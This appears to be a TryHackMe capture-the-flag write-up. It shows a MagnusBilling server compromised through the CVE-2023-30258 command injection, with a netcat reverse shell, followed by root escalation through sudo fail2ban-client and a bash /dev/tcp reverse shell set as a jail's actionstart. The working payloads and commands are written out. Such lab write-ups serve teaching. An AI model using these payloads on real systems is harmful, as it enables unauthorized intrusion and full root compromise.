TryHackMe CTF: billing (Easy)

Exploits MagnusBilling CMS via CVE-2023-30258 to achieve initial access and PHP reverse shell. Leverages Fail2ban misconfiguration for privilege escalation to gain root access through manipulating ban actions.

URL: https://tryhackme.com/room/billing   Easy

PHASE 1: Reconnaissance

Description of the room:

Some mistakes can be costly. Note: Bruteforcing is out of scope for this room.

PHASE 2: Scanning & Enumeration

Running: nmap

Ran the following:

nmap -sC -sV x.x.x.x

Interesting ports found to be open:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
|   256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_  256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-title:             MagnusBilling        
|_Requested resource was http://10.10.44.189/mbilling/
| http-robots.txt: 1 disallowed entry 
|_/mbilling/
3306/tcp open  mysql   MariaDB 10.3.23 or earlier (unauthorized)

Also see: nmap.log

Running: gobuster

Ran the following:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://x.x.x.x

And it didn’t find ANY subfolders.

Also see: gobuster.log

Running: nikto

Ran the following:

nikto -h x.x.x.x -p 80

Not much of anything interesting info found on :80:

+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: ./mbilling
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ 8075 requests: 0 error(s) and 3 item(s) reported on remote host

Also see: nikto.log

MagnusBilling

When you navigate to the website, you see MagnusBilling as the product name. So, I did run:

searchsploit magnus

And that did have a hit.

----------------------------------------------------- ---------------------------------
 Exploit Title                                       |  Path
----------------------------------------------------- ---------------------------------
MagnusSolution magnusbilling 7.3.0 - Command Injecti | multiple/webapps/52170.txt
----------------------------------------------------- ---------------------------------
Shellcodes: No Results

There is CVE-2023-30258. In short, the icepay.php page accepts a democ query string argument where it runs arbitrary commands (RCE). So, we should be able to get a reverse shell that way, in theory?

About CVE-2023-30258

CVE-2023-30258 is a critical command-injection flaw in MagnusSolution’s MagnusBilling 6.x and 7.x products that allows unauthenticated remote attackers to execute arbitrary operating-system commands via specially crafted HTTP requests.

The vulnerability stems from improper sanitization of a user-supplied parameter in the lib/icepay/icepay.php component, where an unvalidated exec() call incorporates attacker-controlled input, effectively granting full command-execution capabilities under the web-server’s privileges (commonly www-data or asterisk).

With a CVSS 3.1 score of 9.8 (Critical) and an EPSS exploitability rating above 93%, successful exploitation can lead to complete system compromise including unauthorized data access, service disruption, and privilege escalation within the billing environment

PHASE 3: Gaining Access

I set up a NetCat listener on port :8000 to catch the reverse shell:

nv -lvnp 8000

From my workstation still, with Burp, cURL, or even in the browser, craft a URL like this:

http://x.x.x.x/mbilling/lib/icepay/icepay.php?democ=testfile; nc <MY_WS_IP> 8000 -e /bin/sh &

When I initially tried this it would connect and immediately disconnect. So, I appended the & to kick off the NetCat reverse shell process in the background. And voila, we have a connnection! Terrible quality - we don’t see a prompt, but type pwd, id, or whoami we can see we have a shell as the unprivileged asterisk account.

Unprivileged Access

We have a rudimentary connection, so let’s try to upgrade it:

python3 -c "import pty; pty.spawn('/bin/bash')"

Do CTRL+Z, then type:

stty raw -echo ; fg

That will give you a more stable prompt. It’s not as good as an SSH session, but it’s better than raw input/output. I found that I couldn’t use clear because the TERM environment variable is still set to dumb. So, we can also upgrade the terminal capabilities with:

export TERM=vt100

We know from the /etc/passwd file that the asterisk account doesn’t have a home directory:

asterisk:x:1001:1001:Asterisk PBX:/var/lib/asterisk:/sbin/nologin

However still, one of the first places I’ll go and look is in /home/ to see if we can get other usernames and see if there are any files that we can see. And sure enough, we can see a /home/magnus/ folder, and in there is the user.txt that we need to partially solve the room!

asterisk@Billing:/home/magnus$ ls -l
total 36
drwx------ 2 magnus magnus 4096 Mar 27  2024 Desktop
drwx------ 2 magnus magnus 4096 Mar 27  2024 Documents
drwx------ 2 magnus magnus 4096 Mar 27  2024 Downloads
drwx------ 2 magnus magnus 4096 Mar 27  2024 Music
drwx------ 2 magnus magnus 4096 Mar 27  2024 Pictures
drwx------ 2 magnus magnus 4096 Mar 27  2024 Public
drwx------ 2 magnus magnus 4096 Mar 27  2024 Templates
drwx------ 2 magnus magnus 4096 Mar 27  2024 Videos
-rw-r--r-- 1 magnus magnus   38 Mar 27  2024 user.txt

Privilege Escalation

One of the first places to look is to run sudo -l to list any sudo privileges that we have:

Matching Defaults entries for asterisk on Billing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client

OK, so it looks like if we can somehow exploit fail2ban-client, then we should be able to get PE.

About fail2ban

Fail2ban is an Intrusion Detection System (IDS) and Intrusion Prevention System (IPS) that works by monitoring the logs of various services. When it detects so many “unauthorized” attempts within a certain timeframe, it triggers the banaction, which is typically banning the offending IP address for some time.

Before we move on, let’s set up NetCat on our workstation to listen on port :9000 for the incoming reverse shell:

nc -lvnp 9000

Create a Custom Jail

Since we have sudo access to fail2ban, we’re going to just create an empty “jail”, and what that jail does when it starts up is - connect to my workstation with a reverse shell. Since fail2ban is running as the root user, that means that will be a shell running as the root user.

# Create a new jail
sudo fail2ban-client add myjail tcp    \
    filter sshd                        \
    logpath /var/log/auth.log          \
    maxretry 3                         \
    findtime 600                       \
    bantime 3600

# Set a default action (required, before we can override it)
sudo fail2ban-client set myjail addaction iptables-multiport

# Then, we can override the "actionstart" to kick off our reverse shelll
sudo fail2ban-client set myjail \
    action iptables-multiport \
    actionstart "/bin/bash -c 'bash -i >& /dev/tcp/<MY_WS_IP>/9000 0>&1'"

Start the Jail. Pop a shell!

Once defined, we just need to start the jail:

# Start the jail to trigger the reverse shell
sudo fail2ban-client start myjail

Immediately once the jail starts, it will execute the reverse shell and connect back to the Netcat listener on my workstation.

What Happened?

So all we did here was create a temporary, in-memory fail2ban “jail”. We overrode it so that when it starts, it will run that bash command that connects to our workstation, and runs the bash command, redirecting STDOUT and STDID to the remote host (our workstation). Since fail2ban runs as root, that bash prompt will be running as root too.

Now that we have a root prompt, we can navigate to /root/root.txt to get the flag to finish this room.